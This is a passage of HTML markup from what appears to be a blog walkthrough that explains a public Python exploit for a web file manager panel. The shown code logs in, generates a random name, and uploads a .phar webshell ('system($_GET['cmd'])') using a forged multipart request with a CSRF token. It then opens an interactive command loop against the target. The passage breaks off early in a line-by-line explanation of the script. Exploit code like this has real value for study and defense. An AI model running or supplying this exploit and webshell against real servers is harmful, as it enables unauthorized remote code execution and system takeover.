#89DDFF\">.<\/span><span style=\"color: #82AAFF\">join<\/span><span style=\"color: #89DDFF\">((<\/span><span style=\"color: #82AAFF\">random<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">choice<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">string<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">ascii_lowercase<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">for<\/span><span style=\"color: #82AAFF\"> x <\/span><span style=\"color: #89DDFF; font-style: italic\">in<\/span><span style=\"color: #82AAFF\"> range<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">15<\/span><span style=\"color: #89DDFF\">)))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    time<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sleep<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Generated webshell name: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">shell_name<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">return<\/span><span style=\"color: #EEFFFF\"> shell_name<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">shell_upload<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Trying to Upload Webshell..<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        up_url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_upload<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        up_cookies <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">INTELLI_06c8042c3d<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">15ajqmku31n5e893djc8k8g7a0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loader<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loaded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        up_headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User-Agent<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">*\/*<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Language<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Encoding<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">gzip, deflate<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">multipart\/form-data; boundary=---------------------------6159367931540763043609390275<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Origin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Connection<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">close<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Referer<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20\/panel\/uploads\/<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        up_data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">reqid<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">17978446266285<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">cmd<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">upload<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">target<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">l1_Lw<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">csrfToken<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">upload[]<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">; filename=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">shell_name<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">.phar<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Type: application\/octet-stream<\/span><span style=\"color: #EEFFFF\">\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;<\/span><span style=\"color: #EEFFFF\">\\n\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">mtime[]<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">1621210391<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275--<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">up_url<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_headers<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">cookies<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_cookies<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_data<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">exceptions<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">HTTPError<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">as<\/span><span style=\"color: #EEFFFF\"> conn<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] Failed to Upload Webshell in: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">url_upload<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">code_exec<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        url_clean <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_shell<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">replace<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">\/panel<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        req <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_clean <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar?cmd=id<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> req<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">status_code<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">==<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #F78C6C\">200<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Upload Success... Webshell path: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> url_shell <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar <\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">while<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">True:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                cmd <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">input<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">$ <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                x <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_clean <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar?cmd=<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">cmd<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">x<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Webshell not found... upload seems to have failed<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Failed to execute PHP code...<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">login<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">name_rnd<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">shell_upload<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #82AAFF\">code_exec<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Above is the entire python public exploit script if you wish to scroll through or copy. I will be breaking it down into sections with explanations of what is happening to give a better idea of how the script works.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:3;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"import requests\nimport time\nimport optparse\nimport random\nimport string\nfrom bs4 import BeautifulSoup\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> requests<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> time<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> optparse<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> random<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> string<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">from<\/span><span style=\"color: #EEFFFF\"> bs4 <\/span><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> BeautifulSoup<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The script imports the following modules. This process is like gathering your tools for a project.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>requests <\/strong>&#8211;&gt; makes HTTP requests<\/li>\n\n\n\n<li><strong>time <\/strong>&#8211;&gt; adding time delays to the script<\/li>\n\n\n\n<li><strong>optparse <\/strong>&#8211;&gt; parses command line options<\/li>\n\n\n\n<li><strong>random and string<\/strong> &#8211;&gt; generating random names<\/li>\n\n\n\n<li><strong>BeautifulSoup <\/strong>&#8211;&gt; parses HTML for extracting CSRF tokens<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:10;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"parser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=&quot;store&quot;, dest=&quot;url&quot;, help=&quot;Base target uri http:\/\/target\/panel&quot;)\nparser.add_option('-l', '--user', action=&quot;store&quot;, dest=&quot;user&quot;, help=&quot;User credential to login&quot;)\nparser.add_option('-p', '--passw', action=&quot;store&quot;, dest=&quot;passw&quot;, help=&quot;Password credential to login&quot;)\n\noptions, args = parser.parse_args()\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">parser <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> optparse<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">OptionParser<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-u<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--url<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">url<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Base target uri http:\/\/target\/panel<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-l<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--user<\/span><span style=\"color: 